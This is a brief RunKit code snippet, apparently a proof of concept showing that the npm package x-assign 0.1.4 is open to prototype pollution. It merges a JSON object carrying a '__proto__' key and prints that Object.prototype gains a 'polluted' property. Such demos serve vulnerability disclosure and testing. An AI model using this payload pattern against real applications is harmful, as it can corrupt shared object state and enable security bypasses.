RunKit + npm: x-assign

const XAssign = require("x-assign@0.1.4"); console.log("Before:"+{}.polluted); const a = {red: "apple"}; const b = JSON.parse('{"__proto__": {"polluted": true}}') const c = XAssign.assign(a, b); console.log("After:"+{}.polluted);